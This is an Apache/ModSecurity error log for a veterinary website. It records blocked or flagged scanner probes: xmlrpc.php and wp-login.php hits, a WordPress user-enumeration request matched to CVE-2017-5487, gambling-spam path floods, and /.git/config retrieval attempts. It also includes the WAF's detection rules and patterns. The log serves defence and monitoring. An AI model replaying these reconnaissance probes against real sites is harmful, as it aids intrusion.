[Mon Mar 09 10:52:47.493007 2026] [:error] [pid 17485:tid 17493] [client 143.198.37.66:52508] [client 143.198.37.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.198.37.66, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aa41_9QOL_kxQEc1PTCcAQAAAQU"]
[Mon Mar 09 10:52:50.633869 2026] [:error] [pid 17485:tid 17505] [client 143.198.37.66:52508] [client 143.198.37.66] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aa42AtQOL_kxQEc1PTCcCQAAARE"]
[Mon Mar 09 10:52:54.810219 2026] [:error] [pid 17485:tid 17503] [client 143.198.37.66:52508] [client 143.198.37.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.198.37.66, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aa42BtQOL_kxQEc1PTCcDQAAAQ8"]
[Mon Mar 09 12:55:43.113602 2026] [:error] [pid 17485:tid 17503] [client 14.177.54.212:52315] [client 14.177.54.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 14.177.54.212, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aa5Sz9QOL_kxQEc1PTD-UQAAAQ8"]
[Mon Mar 09 14:26:02.386433 2026] [:error] [pid 17485:tid 17510] [client 209.9.200.163:56558] [client 209.9.200.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aa5n-tQOL_kxQEc1PTBMPQAAARY"]
[Mon Mar 09 14:26:03.058966 2026] [:error] [pid 17485:tid 17499] [client 209.9.200.163:41313] [client 209.9.200.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aa5n-9QOL_kxQEc1PTBMQAAAAQs"]
[Mon Mar 09 14:26:05.322453 2026] [:error] [pid 5787:tid 5946] [client 209.9.200.163:9002] [client 209.9.200.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aa5n_bGpMgQ18gGUaFMJqgAAAJg"]
[Mon Mar 09 14:26:05.893660 2026] [:error] [pid 2145:tid 2167] [client 209.9.200.163:12545] [client 209.9.200.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aa5n_XczzpD9XHtKwuAE5QAAAUE"]
[Mon Mar 09 14:26:08.957537 2026] [:error] [pid 17485:tid 17497] [client 209.9.200.163:29149] [client 209.9.200.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aa5oANQOL_kxQEc1PTBMXAAAAQk"]
[Mon Mar 09 14:26:09.600148 2026] [:error] [pid 5787:tid 5924] [client 209.9.200.163:37085] [client 209.9.200.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aa5oAbGpMgQ18gGUaFMJvAAAAII"]
[Mon Mar 09 14:26:11.808102 2026] [:error] [pid 2145:tid 2184] [client 209.9.200.163:33912] [client 209.9.200.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aa5oA3czzpD9XHtKwuAE7wAAAVA"]
[Mon Mar 09 14:26:12.367687 2026] [:error] [pid 17485:tid 17509] [client 209.9.200.163:6808] [client 209.9.200.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aa5oBNQOL_kxQEc1PTBMpQAAARU"]
[Mon Mar 09 14:26:14.949794 2026] [:error] [pid 5783:tid 5916] [client 209.9.200.163:46710] [client 209.9.200.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aa5oBgdiZJ1FQPtsTNR23wAAAFY"]
[Mon Mar 09 14:26:15.509145 2026] [:error] [pid 5787:tid 5924] [client 209.9.200.163:18799] [client 209.9.200.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aa5oB7GpMgQ18gGUaFMJwwAAAII"]
[Mon Mar 09 14:26:17.852457 2026] [:error] [pid 17485:tid 17507] [client 209.9.200.163:28268] [client 209.9.200.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aa5oCdQOL_kxQEc1PTBM9QAAARM"]
[Mon Mar 09 14:26:18.412710 2026] [:error] [pid 17485:tid 17506] [client 209.9.200.163:64771] [client 209.9.200.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aa5oCtQOL_kxQEc1PTBM-AAAARI"]
[Mon Mar 09 14:26:21.187352 2026] [:error] [pid 2145:tid 2182] [client 209.9.200.163:42170] [client 209.9.200.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aa5oDXczzpD9XHtKwuAFBgAAAU4"]
[Mon Mar 09 14:26:21.746045 2026] [:error] [pid 2145:tid 2166] [client 209.9.200.163:6673] [client 209.9.200.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aa5oDXczzpD9XHtKwuAFCgAAAUA"]
[Mon Mar 09 14:26:24.210800 2026] [:error] [pid 17485:tid 17488] [client 209.9.200.163:17362] [client 209.9.200.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aa5oENQOL_kxQEc1PTBNBwAAAQA"]
[Mon Mar 09 14:26:24.768300 2026] [:error] [pid 17485:tid 17493] [client 209.9.200.163:48333] [client 209.9.200.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aa5oENQOL_kxQEc1PTBNDAAAAQU"]
[Mon Mar 09 14:26:27.169703 2026] [:error] [pid 17485:tid 17512] [client 209.9.200.163:13765] [client 209.9.200.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aa5oE9QOL_kxQEc1PTBNFAAAARg"]
[Mon Mar 09 14:26:27.757606 2026] [:error] [pid 2145:tid 2193] [client 209.9.200.163:12768] [client 209.9.200.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aa5oE3czzpD9XHtKwuAFFwAAAVU"]
[Mon Mar 09 14:26:30.422356 2026] [:error] [pid 17485:tid 17489] [client 209.9.200.163:33317] [client 209.9.200.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aa5oFtQOL_kxQEc1PTBNIgAAAQE"]
[Mon Mar 09 14:26:30.985490 2026] [:error] [pid 17485:tid 17498] [client 209.9.200.163:31566] [client 209.9.200.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aa5oFtQOL_kxQEc1PTBNJgAAAQo"]
[Mon Mar 09 14:26:33.409032 2026] [:error] [pid 17485:tid 17495] [client 209.9.200.163:22024] [client 209.9.200.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aa5oGdQOL_kxQEc1PTBNNQAAAQc"]
[Mon Mar 09 14:26:33.970712 2026] [:error] [pid 17485:tid 17509] [client 209.9.200.163:62200] [client 209.9.200.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aa5oGdQOL_kxQEc1PTBNOQAAARU"]
[Mon Mar 09 14:26:36.221591 2026] [:error] [pid 6074:tid 6109] [client 209.9.200.163:17378] [client 209.9.200.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aa5oHBgvXHMVGYw_Ely6YAAAANI"]
[Mon Mar 09 14:26:36.801496 2026] [:error] [pid 5783:tid 5900] [client 209.9.200.163:25501] [client 209.9.200.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aa5oHAdiZJ1FQPtsTNR27gAAAEY"]
[Mon Mar 09 14:26:38.944961 2026] [:error] [pid 6074:tid 6092] [client 43.153.15.51:40156] [client 43.153.15.51] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aa5oHhgvXHMVGYw_Ely6ZAAAAME"]
[Mon Mar 09 14:26:38.969408 2026] [:error] [pid 5779:tid 5858] [client 209.9.200.163:63487] [client 209.9.200.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aa5oHgaHbHwtklaurgWuqgAAAAM"]
[Mon Mar 09 14:26:39.548866 2026] [:error] [pid 5779:tid 5871] [client 209.9.200.163:51581] [client 209.9.200.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aa5oHwaHbHwtklaurgWuqwAAABA"]
[Mon Mar 09 14:26:42.267030 2026] [:error] [pid 17485:tid 17504] [client 209.9.200.163:29272] [client 209.9.200.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aa5oItQOL_kxQEc1PTBNUQAAARA"]
[Mon Mar 09 14:26:42.850083 2026] [:error] [pid 2145:tid 2168] [client 209.9.200.163:14435] [client 209.9.200.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aa5oInczzpD9XHtKwuAFUQAAAUI"]
[Mon Mar 09 14:26:45.122755 2026] [:error] [pid 2145:tid 2179] [client 209.9.200.163:14545] [client 209.9.200.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aa5oJXczzpD9XHtKwuAFXAAAAUs"]
[Mon Mar 09 14:26:45.683089 2026] [:error] [pid 17485:tid 17488] [client 209.9.200.163:35238] [client 209.9.200.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aa5oJdQOL_kxQEc1PTBNYQAAAQA"]
[Mon Mar 09 14:26:48.014194 2026] [:error] [pid 17485:tid 17488] [client 209.9.200.163:49117] [client 209.9.200.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aa5oKNQOL_kxQEc1PTBNcQAAAQA"]
[Mon Mar 09 14:26:48.573808 2026] [:error] [pid 5783:tid 5903] [client 209.9.200.163:33683] [client 209.9.200.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aa5oKAdiZJ1FQPtsTNR29QAAAEk"]
[Mon Mar 09 14:26:50.682329 2026] [:error] [pid 2145:tid 2171] [client 209.9.200.163:42936] [client 209.9.200.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aa5oKnczzpD9XHtKwuAFdwAAAUU"]
[Mon Mar 09 14:26:51.279760 2026] [:error] [pid 17485:tid 17505] [client 209.9.200.163:36869] [client 209.9.200.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aa5oK9QOL_kxQEc1PTBNeQAAARE"]
[Mon Mar 09 14:26:53.438956 2026] [:error] [pid 17485:tid 17497] [client 209.9.200.163:8337] [client 209.9.200.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aa5oLdQOL_kxQEc1PTBNgQAAAQk"]
[Mon Mar 09 14:26:54.030227 2026] [:error] [pid 2145:tid 2168] [client 209.9.200.163:2093] [client 209.9.200.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aa5oLnczzpD9XHtKwuAFhwAAAUI"]
[Mon Mar 09 14:26:56.060105 2026] [:error] [pid 17485:tid 17502] [client 209.9.200.163:54310] [client 209.9.200.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aa5oMNQOL_kxQEc1PTBNigAAAQ4"]
[Mon Mar 09 14:26:56.726046 2026] [:error] [pid 17485:tid 17501] [client 209.9.200.163:8172] [client 209.9.200.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aa5oMNQOL_kxQEc1PTBNjAAAAQ0"]
[Mon Mar 09 17:06:13.973654 2026] [:error] [pid 44463:tid 44475] [client 188.165.217.198:37360] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "aa6NhS5tVkWjZvDknB0CwAAAAYQ"]
[Mon Mar 09 17:06:30.801643 2026] [:error] [pid 44504:tid 44537] [client 188.165.217.198:40914] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "aa6Nlnri56-8oxPimmgG_gAAAgM"]
[Mon Mar 09 18:42:30.037427 2026] [:error] [pid 44503:tid 44528] [client 138.199.50.147:59568] [client 138.199.50.147] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.199.50.147, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aa6kFspGKFA8jlKDDh24SgAAAdU"]
[Mon Mar 09 18:43:14.767480 2026] [:error] [pid 5787:tid 5946] [client 138.199.50.147:6413] [client 138.199.50.147] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.199.50.147, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aa6kQrGpMgQ18gGUaFOdRgAAAJg"], referer: https://vetstars.com.au/wp-login.php?redirect_to=https%3A%2F%2Fvetstars.com.au%2Fwp-admin%2F&reauth=1
[Mon Mar 09 18:43:21.562532 2026] [autoindex:error] [pid 5783:tid 5916] [client 103.4.122.14:39494] AH01276: Cannot serve directory /home/vetstars/public_html/indexing-test/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 09 18:49:50.170341 2026] [ssl:error] [pid 44503:tid 44508] [client 44.242.242.95:48676] AH02032: Hostname macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup
[Mon Mar 09 20:49:59.475251 2026] [:error] [pid 6074:tid 6112] [client 43.130.9.111:59970] [client 43.130.9.111] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aa7B9xgvXHMVGYw_ElwFQwAAANU"]
[Mon Mar 09 23:04:09.004842 2026] [:error] [pid 2145:tid 2183] [client 43.228.157.67:46058] [client 43.228.157.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "aa7haXczzpD9XHtKwuBVXQAAAU8"]
[Mon Mar 09 23:04:10.603429 2026] [:error] [pid 5787:tid 5929] [client 43.228.157.67:43758] [client 43.228.157.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/HEAD"] [unique_id "aa7harGpMgQ18gGUaFMQgQAAAIc"]
[Mon Mar 09 23:04:12.183294 2026] [:error] [pid 5779:tid 5860] [client 43.228.157.67:43764] [client 43.228.157.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/public/.git/config"] [unique_id "aa7hbAaHbHwtklaurgVbOgAAAAU"]
[Mon Mar 09 23:04:13.957769 2026] [:error] [pid 44503:tid 44515] [client 43.228.157.67:43770] [client 43.228.157.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/app/.git/config"] [unique_id "aa7hbcpGKFA8jlKDDh1lDgAAAcg"]
[Mon Mar 09 23:04:14.970663 2026] [:error] [pid 44503:tid 44510] [client 43.228.157.67:54728] [client 43.228.157.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "aa7hbspGKFA8jlKDDh1lEQAAAcM"]
